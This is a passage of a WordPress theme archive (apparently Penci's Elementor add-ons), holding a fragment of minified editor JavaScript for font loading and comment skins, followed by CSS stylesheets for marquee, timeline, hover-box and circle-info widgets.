type="text/css">'+e.font_face+"</style>"),e.font_url&&elementor.$previewContents.find("link:last").after('<link href="'+e.font_url+'" rel="stylesheet" type="text/css">')}}),this._enqueuedFonts.push(t),"typekit"===e&&(this._enqueuedTypekit=!0)},onInit:function(){elementor.channels.editor.on("font:insertion",this.onFontChange.bind(this))}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({onElementorPreviewLoaded:function(){var e=n(441);this.commentsSkin=new e}})},function(e,t,n){"use strict";e.exports=function(){var e=this;e.onPanelShow=function(e,t){var n=t.get("settings");n.controls._skin.default||n.set("_skin","theme_comments")},e.init=function(){elementor.hooks.addAction("panel/open_editor/widget/post-comments",e.onPanelShow)},e.init()}}]);PK     N\            #  inc/elementor/assets/js/frontend.jsnu [        PK     N\            #  inc/elementor/assets/js/timeline.jsnu [        PK     N\"" O  O  $  inc/elementor/assets/css/marquee.cssnu [        body.rtl .penci-marquee-el {
	direction: rtl;
}
.elementor-widget-penci-marquee-el {
	--marquee-rotate: var(--penci-marquee-el-rotate);
	--marquee-offset: var(--penci-marquee-el-offset);
	--marquee-adjustment: var(--penci-marquee-el-adjustment);
	-webkit-transform: rotate(var(--marquee-rotate));
	-ms-transform: rotate(var(--marquee-rotate));
	transform: rotate(var(--marquee-rotate));
	margin-left: calc(var(--marquee-offset));
	width: calc(100% + var(--marquee-adjustment));
}
.penci-marquee-el {
	height: 100%;
	display: flex;
	align-items: center;
	overflow: hidden;
}
.penci-marquee-el .marquee-content {
	overflow: hidden;
	display: flex;
	align-items: center;
	justify-content: center;
	height: 100%;
	flex-shrink: 0;
	cursor: pointer;
	margin-left: 5px;
	position: relative;
}
.penci-marquee-el .marquee-content.marquee-text {
	background-color: var(--pcaccent-cl);
	font-size: 21px;
	padding: 20px;
	color: #fff;
}
.penci-marquee-el .marquee-content.marquee-image {
	width: fit-content;
}
.marquee-content.marquee-image img {
	width: 100%;
	height: 100%;
	object-fit: cover;
	display: block;
}PK     N\./}]   ]   #  inc/elementor/assets/css/editor.cssnu [        body.elementor-editor-active .select2-results__option[aria-selected=true] {
	display: none;
}PK     N\{)  )  %  inc/elementor/assets/css/timeline.cssnu [        .penci-tiline-grid {
	display: flex;
	flex-wrap: wrap;
	margin: 0;
	margin-left: 0px;
	padding: 0;
	list-style: none;
}
.penci-tiline-item {
	width: 100%;
}
.penci-tiline-align-center .penci-tiline-item {
	width: 50%;
}
.penci-tiline .penci-tiline-item-main-container {
	padding-left: 50px;
	padding-bottom: 50px;
}
.penci-tiline .penci-tiline-thumbnail {
	overflow: hidden;
	position: relative;
	z-index: 2;
}
.penci-tiline .penci-tiline-thumbnail img {
	width: 100%;
	object-fit: cover;
}
.penci-tiline .penci-tiline-item-main-wrapper {
	position: relative;
	padding-left: 50px;
}
.penci-tiline
	.penci-tiline-item-main-wrapper
	.penci-tiline-item-main-container {
	padding-left: 50px;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-item-main {
	position: relative;
	background: #f1f1f1;
}
.penci-tiline.penci-tiline-posts .penci-tiline-item-main-wrapper .penci-tiline-item-main {
	background: #fff;
}
.penci-tiline.penci-tiline-posts .penci-biggrid .penci-bgitin {
	border: 1px solid var(--pcborder-cl);
}
.penci-tiline.penci-tiline-posts .pcbg-title a,
.post-entry .penci-tiline.penci-tiline-posts .pcbg-title a {
	color: var(--pcheading-cl);
}
.penci-tiline.penci-tiline-posts .pcbg-title a:hover,
.post-entry .penci-tiline.penci-tiline-posts .pcbg-title a:hover {
	color: var(--pcaccent-cl);
}
.penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn {
	background: #555;
	color: #fff;
	font-weight: 600;
}
.penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn:hover {
	background: #000;
}
.penci-tiline.penci-tiline-posts .grid-post-box-meta span:after {
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
	width: 4px;
	height: 4px;
	border: 2px solid;
	border-radius: 2px;
	transform: translateY(-2px);
	-webkit-transform: translateY(-2px);
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line {
	position: absolute;
	top: 0;
	height: 100%;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span {
	height: 100%;
	position: absolute;
	transform: translateX(-50%);
	transform-origin: center;
	display: block;
	border-width: 2px;
	border-left-style: dashed;
	border-color: var(--pcborder-cl);
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon {
	position: absolute;
	top: 20px;
	transform: translate(-50%, -50%);
	left: 51px;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span {
	position: absolute;
	text-align: center;
	border: 4px solid color-mix(in srgb, var(--pcaccent-cl) 40%, #fff);
	transform: translate(-50%, -50%);
	border-radius: 50%;
	height: 48px;
	width: 48px;
	background: var(--pcaccent-cl);
	display: flex;
	align-items: center;
	justify-content: center;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span i,
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span svg {
	color: #fff;
}
.penci-tiline .penci-tiline-meta {
	margin-bottom: 0;
}
.penci-tiline .penci-tiline-meta li {
	display: inline-block;
}
.penci-tiline .penci-tiline-title,
.penci-tiline .penci-tiline-excerpt,
.penci-tiline .penci-tiline-excerpt p {
	margin: 0;
	padding: 0;
}
.penci-tiline .penci-tiline-title {
	font-size: 18px;
}
.penci-tiline .penci-tiline-readmore {
	margin: 0;
}
.penci-tiline .penci-tiline-readmore svg {
	width: 1em;
	height: 1em;
	vertical-align: middle;
}
.penci-tiline .penci-tiline-arrow {
	position: absolute;
	width: 15px;
	height: 15px;
	transform: rotate(45deg);
	z-index: 0;
	top: 15px;
	left: -8px;
	background: #f1f1f1;
}
.penci-tiline
	.penci-tiline-item:nth-last-child(-n + 1)
	.penci-tiline-item-main-container {
	padding-bottom: 0;
}
.penci-tiline .penci-tiline-item:nth-last-child(-n + 1) .penci-tiline-line {
	display: none;
}
.penci-tiline-right .penci-tiline-item {
	margin-left: auto;
}
.penci-tiline-right .penci-tiline-item .penci-tiline-item-main-wrapper {
	padding-left: 0;
}
.penci-tiline-right
	.penci-tiline-item.left-part
	.penci-tiline-item-main-container,
.penci-tiline-right
	.penci-tiline-item.right-part
	.penci-tiline-item-main-container {
	padding-right: 50px;
	padding-left: 0;
}
.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-arrow,
.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-arrow {
	right: -8px;
	left: auto;
}
.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-line,
.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-line {
	right: 0;
}
.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-icon,
.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-icon {
	right: 0;
	left: auto;
}
.penci-tiline-right .penci-tiline-date {
	padding: 10px 50px;
}
.penci-tiline-icon svg {
	width: 1em;
	height: 1em;
}
.penci-tiline-desc {
	padding: 30px;
}
@media (max-width: 959px) {
	.penci-tiline-right .penci-tiline-item .penci-tiline-item-main-wrapper {
		padding-right: 55px;
	}
	.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-line,
	.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-line {
		right: 55px;
	}
	.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-icon,
	.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-icon {
		right: 55px;
		left: auto;
	}
}
@media (min-width: 960px) {
	.penci-tiline-center .penci-tiline-item .penci-tiline-item-main-wrapper {
		padding-left: 0;
	}
	.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-item-main-container {
		padding-right: 50px;
		padding-left: 0;
	}
	.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-arrow {
		right: -8px;
		left: auto;
	}
	.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-line {
		right: 0;
	}
	.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-icon {
		right: 0;
		left: auto;
	}
	.penci-tiline-center
		.penci-tiline-item.right-part
		.penci-tiline-item-main-container {
		padding-left: 50px;
		padding-right: 0;
	}
	.penci-tiline-center .penci-tiline-item.right-part .penci-tiline-icon {
		left: 0;
	}
	.penci-tiline-center .penci-tiline-date {
		padding: 5px 50px;
	}
	.penci-tiline-center
		.penci-tiline-item:nth-child(-n + 2)
		.penci-tiline-item-main-container {
		padding-top: 0;
	}
	.penci-tiline-center
		.penci-tiline-item:nth-child(-n + 2)
		.penci-tiline-icon {
		top: 22px;
	}
	.penci-tiline-center
		.penci-tiline-item:nth-last-child(-n + 2)
		.penci-tiline-item-main-container {
		padding-bottom: 0;
	}
	.penci-tiline-archive.penci-tiline-center .penci-tiline-date {
		margin-top: 5px;
	}
}
.penci-tiline figcaption {
	margin-bottom: 0;
}
@keyframes fadeIn {
	0% {
		opacity: 0;
		top: 70px;
	}
	100% {
		opacity: 1;
		top: 0;
	}
}
@keyframes liftUp {
	0% {
		top: 0;
	}
	100% {
		top: -15px;
	}
}
.post-entry .penci-tiline-meta,
.post-entry .penci-tiline-meta li {
	margin: 0;
	padding: 0;
}
.penci-tiline-meta,
.post-entry .penci-tiline-meta {
	list-style: none;
	font-size: 13px;
	padding: 10px 0;
}
.penci-tiline-meta li:not(:last-child),
.post-entry .penci-tiline-meta li:not(:last-child) {
	margin-right: 20px;
}
.penci-tiline-readmore,
.post-entry .penci-tiline-readmore {
	padding: 5px 15px;
	display: inline-block;
	background: var(--pcaccent-cl);
	color: var(--pcbg-cl);
	transition: 0.3 all ease-in-out;
	margin-top: 20px;
}
.penci-tiline-readmore:hover {
	opacity: 0.8;
}
.penci-tiline-item-date-wrap.right {
	text-align: right;
}
.penci-tiline .penci-tiline-icon span {
	background: #fff;
}
.penci-tiline .penci-tiline-date span {
	background: #1c1b1b;
	color: #fff;
	padding: 10px 15px;
	display: inline;
	box-decoration-break: clone;
  	-webkit-box-decoration-break: clone;
}
.penci-tiline-item--top .penci-tiline-content:after {
	border-top-color: #f1f1f1;
}
.penci-tiline-item--bottom .penci-tiline-content:after {
	border-bottom-color: #f1f1f1;
}
.penci-tiline--mobile .penci-tiline-content:after {
	border-right-color: #f1f1f1;
}
@media only screen and (max-width: 960px) {
	.penci-tiline-align-center .penci-tiline-item {
		width: 100%;
	}
	.penci-tiline-align-center .penci-tiline-item-date-wrap {
		display: none;
	}
	.penci-tiline .penci-tiline-item-main-wrapper {
		padding: 0;
	}
	.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon {
		left: 0;
	}
}
.penci-tiline {
	padding-top: 30px;
}
.penci-tiline-archive {
	padding-top: 60px;
	padding-bottom: 60px;
}
.penci-tiline
	.penci-tiline-item:first-child
	.penci-tiline-item-main-wrapper
	.penci-tiline-line {
	top: -30px;
	height: calc(100% + 30px);
}
.penci-tiline
	.penci-tiline-item:first-child
	.penci-tiline-item-main-wrapper
	.penci-tiline-line:before {
	width: 10px;
	height: 10px;
	content: "";
	background: var(--pcborder-cl);
	top: -20px;
	position: absolute;
	transform: translateX(-50%);
	z-index: 9;
	border-radius: 50%;
}
.penci-tiline-meta a,
.post-entry .penci-tiline-meta a {
	color: var(--pcheading-cl);
	text-decoration: none;
}
.post-entry .penci-tiline-item a {
	text-decoration: none;
}
.penci-tiline .penci-biggrid-wrapper .pcbg-content-inner {
	background: #fff;
}
.penci-tiline .penci-biggrid-wrapper,
.penci-tiline .penci-bgstyle-1 .penci-dflex .penci-bgitem {
	margin-bottom: 0;
}
.penci-tiline-item .pcbg-readmorebtn svg {
	max-height: 15px;
	width: auto;
}
@media (min-width: 960px) {
	body.rtl
		.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-line {
		right: auto;
		left: 0;
	}
	body.rtl
		.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-icon {
		right: auto;
		left: 0;
	}
	body.rtl .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon {
		transform: translate(50%, 50%);
		top: 0;
	}
	body.rtl
		.penci-tiline
		.penci-tiline-item-main-wrapper
		.penci-tiline-icon
		span {
		transform: translate(50%, 0%);
	}
	body.rtl
		.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-item-main-container {
		padding-right: 0;
		padding-left: 50px;
	}
	body.rtl .penci-tiline-center .penci-tiline-item.right-part .penci-tiline-icon {
		left: auto;
		right: 0;
	}
	body.rtl .penci-tiline-center
		.penci-tiline-item.right-part
		.penci-tiline-item-main-container {
		padding-left: 0;
		padding-right: 50px;
	}
}
body.rtl .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span,
body.rtl
	.penci-tiline
	.penci-tiline-item:first-child
	.penci-tiline-item-main-wrapper
	.penci-tiline-line::before {
	transform: translateX(50%);
}
body.rtl .penci-tiline-item-date-wrap.right {
	text-align: left;
}
body.rtl .penci-tiline-meta li:not(:last-child),
body.rtl .post-entry .penci-tiline-meta li:not(:last-child) {
	margin-right: 0;
	margin-left: 20px;
}PK     N\a1  1  %  inc/elementor/assets/css/hoverbox.cssnu [        .penci-hover-box-grid {
	--columns: 3;
	--gap: 30px;
	display: flex;
	flex-wrap: wrap;
	margin: 0;
	padding: 0;
	list-style: none;
	gap: var(--gap);
}
.penci-hover-box-grid > div {
	flex: 0 0
		calc((100% - (var(--gap) * (var(--columns) - 1))) / var(--columns));
}
[class*="penci-hvb-position-top"],
[class*="penci-hvb-position-bottom"],
[class*="penci-hvb-position-left"],
[class*="penci-hvb-position-right"],
[class*="penci-hvb-position-center"] {
	position: absolute !important;
	max-width: calc(100% - (var(--penci-hvb-position-margin-offset) * 2));
	box-sizing: border-box;
}
.penci-hvb-position-top {
	top: 0;
	left: 0;
	right: 0;
}
.penci-hvb-position-bottom {
	bottom: 0;
	left: 0;
	right: 0;
}
.penci-hvb-position-left {
	top: 0;
	bottom: 0;
	left: 0;
}
.penci-hvb-position-right {
	top: 0;
	bottom: 0;
	right: 0;
}
.penci-hvb-position-top-left {
	top: 0;
	left: 0;
}
.penci-hvb-position-top-right {
	top: 0;
	right: 0;
}
.penci-hvb-position-bottom-left {
	bottom: 0;
	left: 0;
}
.penci-hvb-position-bottom-right {
	bottom: 0;
	right: 0;
}
.penci-hvb-position-center {
	top: calc(50% - var(--penci-hvb-position-margin-offset));
	left: calc(50% - var(--penci-hvb-position-margin-offset));
	--penci-hvb-position-translate-x: -50%;
	--penci-hvb-position-translate-y: -50%;
	transform: translate(
		var(--penci-hvb-position-translate-x),
		var(--penci-hvb-position-translate-y)
	);
	width: max-content;
}
[class*="penci-hvb-position-center-left"],
[class*="penci-hvb-position-center-right"],
.penci-hvb-position-center-vertical {
	top: calc(50% - var(--penci-hvb-position-margin-offset));
	--penci-hvb-position-translate-y: -50%;
	transform: translate(0, var(--penci-hvb-position-translate-y));
}
.penci-hvb-position-center-left {
	left: 0;
}
.penci-hvb-position-center-right {
	right: 0;
}
.penci-hvb-position-center-vertical {
	left: 0;
	right: 0;
}
.penci-hvb-position-center-left-out {
	right: 100%;
	width: max-content;
}
.penci-hvb-position-center-right-out {
	left: 100%;
	width: max-content;
}
.penci-hvb-position-top-center,
.penci-hvb-position-bottom-center,
.penci-hvb-position-center-horizontal {
	left: calc(50% - var(--penci-hvb-position-margin-offset));
	--penci-hvb-position-translate-x: -50%;
	transform: translate(var(--penci-hvb-position-translate-x), 0);
	width: max-content;
}
.penci-hvb-position-top-center {
	top: 0;
}
.penci-hvb-position-bottom-center {
	bottom: 0;
}
.penci-hvb-position-center-horizontal {
	top: 0;
	bottom: 0;
}
.penci-hvb-position-cover {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
}
.penci-hvb-position-small {
	margin: 15px;
	--penci-hvb-position-margin-offset: 15px;
}
.penci-hvb-position-medium {
	margin: 30px;
	--penci-hvb-position-margin-offset: 30px;
}
.penci-hvb-position-large {
	margin: 30px;
	--penci-hvb-position-margin-offset: 30px;
}
@media (min-width: 1200px) {
	.penci-hvb-position-large {
		margin: 50px;
		--penci-hvb-position-margin-offset: 50px;
	}
}
.penci-hvb-position-relative {
	position: relative !important;
}
.penci-hvb-position-absolute {
	position: absolute !important;
}
.penci-hvb-position-fixed {
	position: fixed !important;
}
.penci-hvb-position-sticky {
	position: sticky !important;
}
.penci-hover-box {
	position: relative;
	overflow: hidden;
	height: 440px;
}
.penci-hover-box:before {
	content: "";
	position: absolute;
	background: rgba(0, 0, 0, 0.3);
	width: 100%;
	height: 100%;
	top: 0;
	left: 0;
	z-index: 1;
	transition: all 0.25s ease;
}
.penci-hover-box-img-effect.penci-hvb-effect-1 .penci-hover-box-content {
	transition: opacity 1.4s cubic-bezier(0.24, 0.85, 0.2, 1);
}
.penci-hover-box-img-effect.penci-hvb-effect-1
	.penci-hover-box-content.active
	.penci-hover-box-img {
	transform: scale(1.2);
	pointer-events: none;
}
.penci-hover-box-img-effect.penci-hvb-effect-2
	.penci-hover-box-content
	.penci-hover-box-img {
	transform: scale(1.3);
}
.penci-hover-box-img-effect.penci-hvb-effect-2
	.penci-hover-box-content.active
	.penci-hover-box-img {
	transform: scale(1);
	transition: transform 0.75s cubic-bezier(0.6, -0.28, 0.74, 0.05);
	pointer-events: none;
}
.penci-hover-box-img-effect.penci-hvb-effect-3 .penci-hover-box-content {
	opacity: 1;
}
.penci-hover-box-img-effect.penci-hvb-effect-3
	.penci-hover-box-content
	.penci-hover-box-img {
	transition: 0.8s cubic-bezier(0.9, 0, 0.1, 1);
	transform: scale(1.2);
	clip-path: polygon(0 0, 0 0, 0 100%, 0 100%);
}
.penci-hover-box-img-effect.penci-hvb-effect-3
	.penci-hover-box-content.active
	.penci-hover-box-img {
	transform: scale(1);
	clip-path: polygon(0 0, 100% 0, 100% 100%, 0 100%);
}
.penci-hover-box-item {
	position: relative;
	overflow: hidden;
	padding: 15px;
	cursor: pointer;
	border: 1px solid #fff;
	transition: all 0.25s ease;
}
.penci-hover-box-item.active {
	background: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
}
.penci-hover-box-item.active .penci-hover-box-button a {
	color: var(--pcaccent-cl);
	background: #fff;
}
.penci-hover-box-sub-title {
	color: #fff;
	font-size: 12px;
	margin-bottom: 3px;
	font-weight: 500;
	transition: all 0.25s ease;
}
.penci-hover-box-title a,
.post-entry .penci-hover-box-title a {
	color: #fff;
	text-decoration: none;
}
.penci-hover-box-title {
	font-size: 16px;
	font-weight: 700;
	color: #fff;
	margin: 0;
	transition: all 0.25s ease;
}
.penci-hover-box-item.active .penci-hover-box-title,
.penci-hover-box-item.active .penci-hover-box-title a {
	color: #fff;
}
.penci-hover-box-text {
	color: #fff;
	font-size: 14px;
	line-height: 1.5em;
	padding-top: 10px;
	transition: all 0.25s ease;
}
.penci-hover-box-text p {
	margin: 0;
}
.penci-hover-box-button {
	display: block;
	position: relative;
	padding-top: 20px;
}
.post-entry .penci-hover-box-button a,
.penci-hover-box-button a {
	font-size: 12px;
	font-weight: 600;
	color: #fff;
	padding: 10px 15px;
	background: var(--pcaccent-cl);
	border-radius: 3px;
	transition: all 0.25s ease;
}
.post-entry .penci-hover-box-button a:hover,
.penci-hover-box-button a:hover {
	text-decoration: none;
}
.penci-hover-box-icon-wrap {
	font-size: 70px;
	color: #fff;
	display: inline-flex;
	transition: all 0.25s ease;
	position: absolute;
	right: -20px;
	bottom: -20px;
}
.penci-hover-box-icon-wrap i,
.penci-hover-box-icon-wrap svg {
	transition: all 0.25s ease;
}
.penci-hover-box-icon-wrap svg {
	width: 1em;
	height: 1em;
	fill: #fff;
}
.penci-hover-box-style-1 .penci-hover-box-icon-wrap {
	color: rgba(255, 255, 255, 0.5);
}
.penci-hover-box-style-1 .penci-hover-box-icon-wrap svg {
	fill: rgba(255, 255, 255, 0.5);
}
.penci-hover-box-item-wrap {
	position: relative;
	max-width: 300px;
	z-index: 1;
}
.penci-hover-box-content {
	opacity: 0;
}
.penci-hover-box-content.active {
	opacity: 1;
}
.penci-hover-box-img {
	position: absolute;
	width: 100%;
	height: 100%;
	background-size: cover;
	background-position: center;
	transition: transform 1.4s cubic-bezier(0.24, 0.85, 0.2, 1);
}
.penci-hover-box-skin-envelope .penci-hover-box-grid {
	width: 100%;
}
.penci-hover-box-skin-envelope .penci-hvb-column-divider {
	width: 100%;
	column-gap: 0;
}
.penci-hover-box-skin-envelope .penci-hover-box-item {
	height: 440px;
	border: 0;
}
.penci-hover-box-skin-envelope .penci-hover-box-item.active {
	background: rgb(from var(--pcaccent-cl) r g b / 0.7);
}
.penci-hover-box-skin-envelope .penci-hover-box-description {
	width: 100%;
}
.penci-hover-box-skin-envelope
	.penci-hover-box-description.penci-hvb-position-top
	.penci-hover-box-icon-wrap,
.penci-hover-box-skin-envelope
	.penci-hover-box-description.penci-hvb-position-bottom
	.penci-hover-box-icon-wrap {
	right: -40px;
	bottom: -40px;
}
.penci-hover-box-skin-envelope
	.penci-hover-box-description.penci-hvb-position-center
	.penci-hover-box-icon-wrap {
	right: -40px;
}
.penci-hover-box-skin-envelope .penci-hover-box-item-wrap {
	max-width: inherit;
}
.penci-hover-box-skin-envelope
	.penci-hover-box-item-wrap
	> .penci-hvb-active:before {
	content: "";
	position: absolute;
	height: 100%;
	width: 1px;
	background: #fff;
	top: 0;
	left: -0.5px;
	z-index: 1;
}
.penci-hover-box-skin-envelope
	.penci-hover-box-item-wrap
	> .penci-hvb-active:nth-child(1):before {
	width: 0px !important;
}
.penci-hover-box-skin-envelope .penci-hvb-slidenav {
	color: #fff;
	z-index: 1;
}
.penci-hover-box-skin-envelope .penci-hvb-slidenav svg {
	width: 1em;
}
@media (min-width: 768px) {
	.penci-hover-box {
		height: 540px;
	}
	.penci-hover-box-skin-envelope .penci-hover-box-item {
		height: 540px;
	}
	.penci-hover-box-item-wrap {
		max-width: 640px;
	}
	.penci-hover-box-item {
		padding: 20px;
	}
	.penci-hover-box-icon-wrap {
		font-size: 100px;
	}
	.penci-hover-box-sub-title {
		font-size: 16px;
	}
	.penci-hover-box-title {
		font-size: 24px;
	}
	.penci-hover-box-text {
		font-size: 16px;
		padding-top: 15px;
	}
	.penci-hover-box-button {
		padding-top: 30px;
	}
	.penci-hover-box-button a {
		font-size: 14px;
		padding: 8px 16px;
	}
}
.penci-hover-box-style-2 .penci-hover-box-item {
	padding: 20px;
	border: 0;
	text-align: center;
}
.penci-hover-box-style-2 .penci-hover-box-item.active {
	background: transparent;
	border-color: transparent;
}
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-button
	a {
	color: #fff;
	background: var(--pcaccent-cl);
}
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-button
	a:hover {
	color: var(--pcaccent-cl);
	background: #fff;
}
.penci-hover-box-style-2 .penci-hover-box-item.active .penci-hover-box-text,
.penci-hover-box-style-2 .penci-hover-box-item.active .penci-hover-box-button,
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-icon-wrap,
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-sub-title {
	opacity: 1;
	transform: translateY(0);
}
.penci-hover-box-style-2 .penci-hover-box-item.active .penci-hover-box-text,
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-sub-title {
	transition-delay: 0.3s;
}
.penci-hover-box-style-2 .penci-hover-box-item.active .penci-hover-box-button,
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-icon-wrap {
	transition-delay: 0.4s;
}
.penci-hover-box-style-2
	.penci-hover-box-item:hover
	.penci-hover-box-icon-wrap
	svg {
	transform: rotate(0) !important;
}
.penci-hover-box-style-2 .penci-hover-box-item:hover .penci-hover-box-text,
.penci-hover-box-style-2 .penci-hover-box-item:hover .penci-hover-box-button,
.penci-hover-box-style-2 .penci-hover-box-item:hover .penci-hover-box-icon-wrap,
.penci-hover-box-style-2
	.penci-hover-box-item:hover
	.penci-hover-box-sub-title {
	opacity: 1;
	transform: translateY(0);
}
.penci-hover-box-style-2 .penci-hover-box-item:hover .penci-hover-box-text,
.penci-hover-box-style-2
	.penci-hover-box-item:hover
	.penci-hover-box-sub-title {
	transition-delay: 0.3s;
}
.penci-hover-box-style-2 .penci-hover-box-item:hover .penci-hover-box-button,
.penci-hover-box-style-2
	.penci-hover-box-item:hover
	.penci-hover-box-icon-wrap {
	transition-delay: 0.4s;
}
.penci-hover-box-style-2 .penci-hover-box-icon-wrap {
	position: unset;
	font-size: 24px;
	opacity: 1;
	padding: 14px;
	border-radius: 50%;
	margin: 0 0 20px;
	background-color: var(--pcaccent-cl);
	justify-content: center;
  	align-items: center;
	width: 60px;
	height: 60px;
}
.penci-hover-box-style-2 .penci-hover-box-icon-wrap svg {
	fill: #fff;
}
.penci-hover-box-style-2 .penci-hover-box-sub-title,
.penci-hover-box-style-2 .penci-hover-box-icon-wrap {
	opacity: 0;
	transform: translateY(-30px);
	transition: all 0.3s ease;
}
.penci-hover-box-style-2 .penci-hover-box-text,
.penci-hover-box-style-2 .penci-hover-box-button {
	opacity: 0;
	transform: translateY(30px);
	transition: all 0.3s ease;
}
.penci-hover-box-style-2 .penci-hover-box-button a {
	color: #fff;
	background: var(--pcaccent-cl);
}
.penci-hover-box-style-2 .pchvb-meta a {
	color: #fff;
}
@media (min-width: 1024px) {
	.penci-hover-box {
		height: 900px;
	}
	.penci-hover-box-skin-envelope .penci-hover-box-item {
		height: 900px;
	}
	.penci-hover-box-item {
		padding: 40px;
	}
	.penci-hover-box-item-wrap {
		max-width: 1080px;
	}
	.penci-hover-box-icon-wrap {
		font-size: 140px;
	}
}
.pchvb-meta {
	font-size: 12px;
	border-bottom: 1px var(--pcborder-cl);
	padding-bottom: 0;
	margin-bottom: 10px;
	color: #fff;
	line-height: 1.2;
}
.post-entry .pchvb-meta a,
.pchvb-meta a {
	color: rgba(255, 255, 255, 0.8);
	font-weight: bold;
	text-decoration: none;
}
.penci-hover-box-item.active .pchvb-meta a,
.post-entry .penci-hover-box-item.active .pchvb-meta a {
	color: #fff;
}
.pchvb-meta .pcbg-meta-desc {
	display: flex;
	flex-wrap: wrap;
	column-gap: 15px;
}
.penci-hover-box-style-1 .penci-hover-box-item {
	height: 100%;
}
.penci-hover-box-style-2 .penci-hover-box-item .pchvb-meta .pcbg-meta-desc {
	justify-content: center;
}PK     N\EHgU  U  '  inc/elementor/assets/css/circleinfo.cssnu [        .penci-cinfo {
	--boxshadow-cl: rgba(170, 163, 163, 0.3);
	--boxshadow-acl: rgba(148, 144, 144, 0.3);
}
.penci-cinfoitem {
	height: 100%;
	width: 100%;
	border-radius: 50%;
	transition: all 0.3s ease;
}
.penci-cinfosub-circle {
	color: var(--pcheading-cl);
	width: 60px;
	height: 60px;
	display: flex;
	justify-content: center;
	align-items: center;
	margin: auto;
	box-shadow: 0 5px 15px 0 var(--boxshadow-cl);
	background-color: var(--pcbg-cl);
	border-radius: 50%;
	transition: 0.5s cubic-bezier(0.175, 0.885, 0.32, 1.275);
	cursor: pointer;
	left: 0;
	right: 0;
	top: 0;
	bottom: 0;
	position: absolute;
	z-index: 9;
	line-height: 1;
}
.penci-cinfosub-circle i {
	font-size: 26px;
	top: 0;
	position: relative;
}
.penci-cinfosub-circle svg {
	width: 1em;
	height: 1em;
	fill: var(--pcborder-cl);
}
.penci-cinfosub-circle:hover,
.penci-cinfosub-circle.active {
	color: var(--pcbg-cl);
	box-shadow: 0 6px 13px 0 var(--boxshadow-acl);
	background-color: var(--pcaccent-cl);
	transition: background-color 1s;
}
.penci-cinfosub-circle:hover svg,
.penci-cinfosub-circle.active svg {
	fill: var(--pcbg-cl);
}
.penci-cinfowrap {
	border-radius: 100%;
	margin: 60px auto;
	position: relative;
}
.penci-cinfoinner {
	border-radius: 50%;
	box-sizing: content-box;
	padding-bottom: unset;
	display: block;
	margin: 0 auto;
	width: 100%;
	height: 100%;
	z-index: 9;
}
.penci-cinfoinner:before,
.penci-cinfoinner:after {
	content: "";
	position: absolute;
	left: 50%;
	transform: translateX(-50%);
	right: 0;
	top: 0;
	bottom: 0;
	margin: auto;
	border-radius: 50%;
	display: block;
}
.penci-cinfoinner:before {
	height: 100%;
	width: 100%;
	border: 1px solid var(--boxshadow-cl);
}
.penci-cinfoinner:after {
	height: 130%;
	width: 130%;
	border: 1px solid var(--boxshadow-cl);
}
.penci-cinfocontent {
	height: 80%;
	width: 80%;
	display: flex;
	justify-content: center;
	align-items: center;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	margin: auto;
	position: absolute;
	padding: 0;
	border-radius: 100%;
}
.penci-cinfoitem {
	display: none;
	justify-content: center;
	align-items: center;
	flex-direction: column;
	z-index: 2;
	background-color: var(--pcbg-cl);
	transition: background-color 1s;
}
.penci-cinfoitem.active {
	display: flex;
	animation: fade-in 1.2s cubic-bezier(0.39, 0.575, 0.565, 1) both;
}
.penci-cinfotitle {
	font-size: 20px;
	font-weight: 900;
	margin-bottom: 15px;
	text-align: center;
	display: block;
	line-height: 1.3;
}
.penci-cinfodesc {
	display: block;
	color: var(--pcmeta-cl);
	font-size: 14px;
	line-height: 1.88;
	text-align: center;
	margin: 0;
	transition: all 0.5s;
}
.penci-cinfodesc p {
	margin: 0;
}
.penci-cinfoicon.d-md-none {
	display: none;
}
.penci-cinfo-style-circle .penci-cinfoitem {
	height: 100%;
	width: 100%;
	border-radius: 50%;
	transition: background-image 0.2s ease-in-out;
}
.penci-cinfo-hide-yes .penci-cinfocontent-inner {
	display: none;
}
@media (max-width: 767px) {
	.penci-cinfo-style-list .penci-cinfowrap {
		height: 100% !important;
		width: 100% !important;
		margin: auto !important;
	}
	.penci-cinfo-style-list .penci-cinfoinner {
		display: none;
	}
